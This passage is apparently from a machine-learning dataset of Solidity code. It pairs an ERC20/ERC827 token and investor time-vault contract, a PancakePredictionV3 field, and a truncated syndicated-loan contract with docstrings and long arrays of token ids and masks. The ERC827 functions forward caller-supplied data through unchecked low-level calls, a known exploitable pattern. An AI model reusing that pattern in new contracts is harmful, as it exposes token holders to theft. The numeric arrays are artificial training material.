0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
7829,
4727,
565,
273,
2130,
18,
713,
31,
11794,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/5/0x3d58D4d259adB60eEcD1850020142A80A812503C/sources/project_/contracts/PancakePredictionV3.sol | current epoch for prediction round
| uint256 public currentEpoch; | 1,870,159 | [
1,
2972,
7632,
364,
8239,
3643,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
202,
202,
11890,
5034,
1071,
783,
14638,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
* This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net
*
* Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt
*/
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* Safe unsigned safe math.
*
* https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736#.750gwtwli
*
* Originally from https://raw.githubusercontent.com/AragonOne/zeppelin-solidity/master/contracts/SafeMathLib.sol
*
* Maintained here until merged to mainline zeppelin-solidity.
*
*/
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
@title ERC827 interface, an extension of ERC20 token standard
Interface of a ERC827 token, following the ERC20 standard with extra
methods to transfer value and data and execute calls in transfers and
approvals.
*/
contract ERC827 is ERC20 {
function approve( address _spender, uint256 _value, bytes _data ) public returns (bool);
function transfer( address _to, uint256 _value, bytes _data ) public returns (bool);
function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool);
}
/**
@title ERC827, an extension of ERC20 token standard
Implementation the ERC827, following the ERC20 standard with extra
methods to transfer value and data and execute calls in transfers and
approvals.
Uses OpenZeppelin StandardToken.
*/
contract ERC827Token is ERC827, StandardToken {
/**
@dev Addition to ERC20 token methods. It allows to
approve the transfer of value and execute a call with the sent data.
Beware that changing an allowance with this method brings the risk that
someone may use both the old and the new allowance by unfortunate
transaction ordering. One possible solution to mitigate this race condition
is to first reduce the spender's allowance to 0 and set the desired value
afterwards:
https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
@param _spender The address that will spend the funds.
@param _value The amount of tokens to be spent.
@param _data ABI-encoded contract call to call `_to` address.
@return true if the call function was executed successfully
*/
function approve(address _spender, uint256 _value, bytes _data) public returns (bool) {
require(_spender != address(this));
super.approve(_spender, _value);
require(_spender.call(_data));
return true;
}
/**
@dev Addition to ERC20 token methods. Transfer tokens to a specified
address and execute a call with the sent data on the same transaction
@param _to address The address which you want to transfer to
@param _value uint256 the amout of tokens to be transfered
@param _data ABI-encoded contract call to call `_to` address.
@return true if the call function was executed successfully
*/
function transfer(address _to, uint256 _value, bytes _data) public returns (bool) {
require(_to != address(this));
super.transfer(_to, _value);
require(_to.call(_data));
return true;
}
/**
@dev Addition to ERC20 token methods. Transfer tokens from one address to
another and make a contract call on the same transaction
@param _from The address which you want to send tokens from
@param _to The address which you want to transfer to
@param _value The amout of tokens to be transferred
@param _data ABI-encoded contract call to call `_to` address.
@return true if the call function was executed successfully
*/
function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) {
require(_to != address(this));
super.transferFrom(_from, _to, _value);
require(_to.call(_data));
return true;
}
/**
* @dev Addition to StandardToken methods. Increase the amount of tokens that
* an owner allowed to a spender and execute a call with the sent data.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
* @param _data ABI-encoded contract call to call `_spender` address.
*/
function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) {
require(_spender != address(this));
super.increaseApproval(_spender, _addedValue);
require(_spender.call(_data));
return true;
}
/**
* @dev Addition to StandardToken methods. Decrease the amount of tokens that
* an owner allowed to a spender and execute a call with the sent data.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
* @param _data ABI-encoded contract call to call `_spender` address.
*/
function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) {
require(_spender != address(this));
super.decreaseApproval(_spender, _subtractedValue);
require(_spender.call(_data));
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Recoverable is Ownable {
/// @dev Empty constructor (for now)
function Recoverable() {
}
/// @dev This will be invoked by the owner, when owner wants to rescue tokens
/// @param token Token which will we rescue to the owner from the contract
function recoverTokens(ERC20Basic token) onlyOwner public {
token.transfer(owner, tokensToBeReturned(token));
}
/// @dev Interface function, can be overwritten by the superclass
/// @param token Token which balance we will check and return
/// @return The amount of tokens (in smallest denominator) the contract owns
function tokensToBeReturned(ERC20Basic token) public returns (uint) {
return token.balanceOf(this);
}
}
/**
* Standard EIP-20 token with an interface marker.
*
* @notice Interface marker is used by crowdsale contracts to validate that addresses point a good token contract.
*
*/
contract StandardTokenExt is StandardToken, ERC827Token, Recoverable {
/* Interface declaration */
function isToken() public constant returns (bool weAre) {
return true;
}
}
/**
* Hold tokens for a group investor of investors until the unlock date.
*
* After the unlock date the investor can claim their tokens.
*
* Steps
*
* - Deploy this contract
* - Move tokensToBeAllocated to this contract using StandardToken.transfer()
* - Call setInvestor for all investors from the owner account using a local script and CSV input
* - Wait until the freeze period is over
* - After the freeze time is over investors can call claim() from their address to get their tokens
*
*/
contract InvestorTimeVault is Ownable {
using SafeMathLib for uint;
/** How many investors we have now */
uint public investorCount;
/** How many tokens investors have claimed so far */
uint public totalClaimed;
/** How many tokens our internal book keeping tells us to have at the time of lock() when all investor data has been loaded */
uint public tokensAllocatedTotal;
/** How much we have allocated to the investors invested */
mapping(address => uint) public balances;
/** How many tokens investors have claimed */
mapping(address => uint) public claimed;
/** When our claim freeze is over (UNIX timestamp) */
mapping(address => uint) public freezeEndsAt;
/** We can also define our own token, which will override the ICO one ***/
StandardTokenExt public token;
/** We allocated tokens for investor */
event Allocated(address investor, uint value);
/** We distributed tokens to an investor */
event Distributed(address investors, uint count);
/**
* Create contract for presale investors where tokens will be locked for a period of time
*
* @param _owner Who can load investor data and lock
* @param _token Token contract address we are distributing
*
*/
function InvestorTimeVault(address _owner, address _token) {
owner = _owner;
// Invalid owenr
if(owner == 0) {
throw;
}
token = StandardTokenExt(_token);
// Check the address looks like a token contract
if(!token.isToken()) {
throw;
}
}
/// @dev Add a presale participating allocation
function setInvestor(address investor, uint _freezeEndsAt, uint amount) public onlyOwner {
uint tokensTotal = (token.balanceOf(address(this))).plus(totalClaimed);
uint unallocatedTokens = tokensTotal.minus(tokensAllocatedTotal); // Tokens we have in vault with no owner set
if(amount == 0) throw; // No empty buys
if(amount > unallocatedTokens) throw; // Can not lock tokens the vault don't have
if(now > _freezeEndsAt) throw; // Trying to lock for negative period of time
// Don't allow reset
if(balances[investor] > 0) {
throw;
}
balances[investor] = amount;
freezeEndsAt[investor] = _freezeEndsAt;
investorCount++;
tokensAllocatedTotal = tokensAllocatedTotal.plus(amount);
Allocated(investor, amount);
}
/// @dev Get the current balance of tokens in the vault
/// @return uint How many tokens there are currently in vault
function getBalance() public constant returns (uint howManyTokensCurrentlyInVault) {
return token.balanceOf(address(this));
}
/// @dev Claim N bought tokens to the investor as the msg sender
function claim() {
address investor = msg.sender;
if(balances[investor] == 0) {
// Not our investor
throw;
}
if(now < freezeEndsAt[investor]) {
throw; // Trying to claim early
}
uint amount = balances[investor];
balances[investor] = 0;
claimed[investor] = claimed[investor].plus(amount);
totalClaimed = totalClaimed.plus(amount);
token.transfer(investor, amount);
Distributed(investor, amount);
}
} | * @title SafeMath @dev Math operations with safety checks that throw on error/ | library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 5,521,524 | [
1,
9890,
10477,
225,
2361,
5295,
598,
24179,
4271,
716,
604,
603,
555,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
5313,
14060,
10477,
288,
203,
203,
203,
565,
445,
14064,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
1377,
309,
261,
69,
422,
374,
13,
288,
203,
3639,
327,
374,
31,
203,
1377,
289,
203,
1377,
2254,
5034,
276,
273,
279,
380,
324,
31,
203,
1377,
1815,
12,
71,
342,
279,
422,
324,
1769,
203,
1377,
327,
276,
31,
203,
565,
289,
203,
203,
565,
445,
14064,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
1377,
309,
261,
69,
422,
374,
13,
288,
203,
3639,
327,
374,
31,
203,
1377,
289,
203,
1377,
2254,
5034,
276,
273,
279,
380,
324,
31,
203,
1377,
1815,
12,
71,
342,
279,
422,
324,
1769,
203,
1377,
327,
276,
31,
203,
565,
289,
203,
203,
565,
445,
3739,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
1377,
2254,
5034,
276,
273,
279,
342,
324,
31,
203,
1377,
327,
276,
31,
203,
565,
289,
203,
203,
565,
445,
720,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
1377,
1815,
12,
70,
1648,
279,
1769,
203,
1377,
327,
279,
300,
324,
31,
203,
565,
289,
203,
203,
565,
445,
527,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
1377,
2254,
5034,
276,
273,
279,
397,
324,
31,
203,
1377,
2
] |
// Reference from https://github.com/lition-blockchain/syndicate-loan-use-case/blob/master/contracts/SynLoan.sol
pragma solidity ^0.5.2;
// necessary because some functions return structs
pragma experimental ABIEncoderV2;
/*
Contract for Syndicate Loan MVP by Lition Technologie AG - www.lition.io
version 0.2.3.5
creator: Marcel Jackisch
*/
contract SynLoanData {
uint public loanId; // A unique number that increments with every newly created loan
LoanData[] public loans;
struct LoanData {
uint id; // Loan ID
string name; // Name of the Loan
uint revisionNumber; // Shall increment with every update to the loan
address registeringParty; // Party who registered the loan. Possible unnecessary because of mapping loanToRegistrar
string dataString; // formerly "purpose", now general data string
uint regTime; // UNIX Timestamp
mapping (address => uint) userToId; // Gets local user id belonging (mapped to) an address in loan
uint[] loanAmounts; // corresponding to participants
bool[] approvalStatus; // Array to store approvals
address[] userList;
uint8 numOfUsers;
}
/*
Struct user defines key data of participants such as banks and businesses
*/
struct userData {
string name;
string role; // Borrower or Lender
address account;
}
// Public array of all participants in dApp/Smart Contract (maybe unnecessary)
userData[] public users;
// Dictionary to find account data
mapping (address => userData) addressToUserData;
// Necessary to require user can only added to a loan once
mapping (address => mapping (uint => bool)) addressAssociated;
// Map a loan id to an account address of registrating user
mapping (uint => address) loanToRegistrar;
// counts the amount of loans belonging to the address
mapping (address => uint) userLoanCount;
/*
Modifier to check that sender is the registrar of the loan
*/
modifier onlyRegistrar(uint _loanId) {
require(msg.sender == loanToRegistrar[_loanId], "Only the owner of the loan has permission for this action");
_;
}
/*
Modifier to check if sender is participant of a loan
*/
modifier onlyParticipant (uint _loanId) {
require(loans[_loanId].userToId[msg.sender] != 0 || loanToRegistrar[_loanId] == msg.sender, "You are not part of this loan");
_;
}
function createLoan (string memory _name, string memory _dataString) public {
loanToRegistrar[loanId] = msg.sender; // Store the address of the user in mapping
userLoanCount[msg.sender]++; // necessary for array to count loans registered by user
// create LoanData instance in memory, later populate array
LoanData memory ln;
ln.id = loanId;
ln.name = _name;
ln.revisionNumber = 0;
ln.registeringParty = msg.sender;
ln.dataString = _dataString;
ln.regTime = now;
loans.push(ln);
// Add loan creator himself/herself
addUserToLoan(loanId, msg.sender);
loanId++; // Increment unique number
}
/*
Update Loan Data, increment version / revision number
Here, all the other data like loan amount, start date and other conditions shall be filled
*/
function updateLoan(uint _loanId, string memory _name, string memory _dataString, uint _loanAmount)
public onlyParticipant(_loanId)
{
loans[_loanId].name = _name;
loans[_loanId].dataString = _dataString;
// Save specified loan amount in array corresponding to user index
uint userId = loans[_loanId].userToId[msg.sender];
loans[_loanId].loanAmounts[userId] = _loanAmount;
loans[_loanId].revisionNumber++;
resetApprovals(_loanId);
}
/*
Functionality to delete loan
*/
function deleteLoan(uint _id) public onlyRegistrar(_id) {
delete loans[_id];
}
/*
Approves Loan: each participant of Loan can give his approval
*/
function approveLoan(uint _loanId, uint _revisionNumber) public {
uint userId = loans[_loanId].userToId[msg.sender];
require(loans[_loanId].revisionNumber == _revisionNumber, "Versions of the loan do not match");
loans[_loanId].approvalStatus[userId] = true;
}
/*
Function to reset approvals called after loan has been updated
*/
function resetApprovals(uint _loanId) internal {
uint n = loans[_loanId].approvalStatus.length;
for (uint i=0; i < n; i++) {
loans[_loanId].approvalStatus[i] = false;
}
}
/*
Function to add new users to a loan, checks if user has been added before
*/
function addUserToLoan (uint _loanId, address _account) public onlyRegistrar(_loanId) returns (uint){
// The following three lines check that the zero-address cant be added and prohibit double registration
require(_account != address(0));
require(addressAssociated[_account][_loanId] == false, "User already exists in loan");
addressAssociated[_account][_loanId] = true;
userLoanCount[_account]++;
uint userNum = loans[_loanId].numOfUsers++;
// Adds user to mapping of loan (analog to incremented numOfUsers)
loans[_loanId].userToId[_account] = userNum;
// Pushes address to userList array (to retrieve all users, iterate)
loans[_loanId].userList.push(_account);
// Let size of arrays that correspond with users grow in size
loans[_loanId].approvalStatus.length++;
loans[_loanId].loanAmounts.length++;
return userNum;
}
/*
Self-Registration of a user account
*/
function selfRegistration (string memory _name, string memory _role) public {
// Conditions to ensure no ghost users are registered
require(bytes (_name).length > 0, "Name must be specified");
require(keccak256(abi.encode(_role)) == keccak256(abi.encode("lender")) || keccak256(abi.encode(_role)) == keccak256(abi.encode("borrower")), "Role must match 'lender' or 'borrower");
require(bytes (addressToUserData[msg.sender].name).length == 0, "User has been registered before");
// Consider if populating array is necessary
userData memory u;
u.name = _name;
u.role = _role;
u.account = msg.sender;
users.push(u);
// Self-registration: Mapping ---- (-1??)
addressToUserData[msg.sender] = u;
}
/*
Registration of a user account by _anyone_ (public)
*/
function userRegistration (string memory _name, string memory _role, address _account) public {
// Conditions to ensure no ghost users are registered
require(bytes (_name).length > 0, "Name must be specified");
require(keccak256(abi.encode(_role)) == keccak256(abi.encode("lender")) || keccak256(abi.encode(_role)) == keccak256(abi.encode("borrower")), "Role must match 'lender' or 'borrower");
require(bytes (addressToUserData[_account].name).length == 0, "User has been registered before");
// Consider if populating array is necessary
userData memory u;
u.name = _name;
u.role = _role;
u.account = _account;
users.push(u);
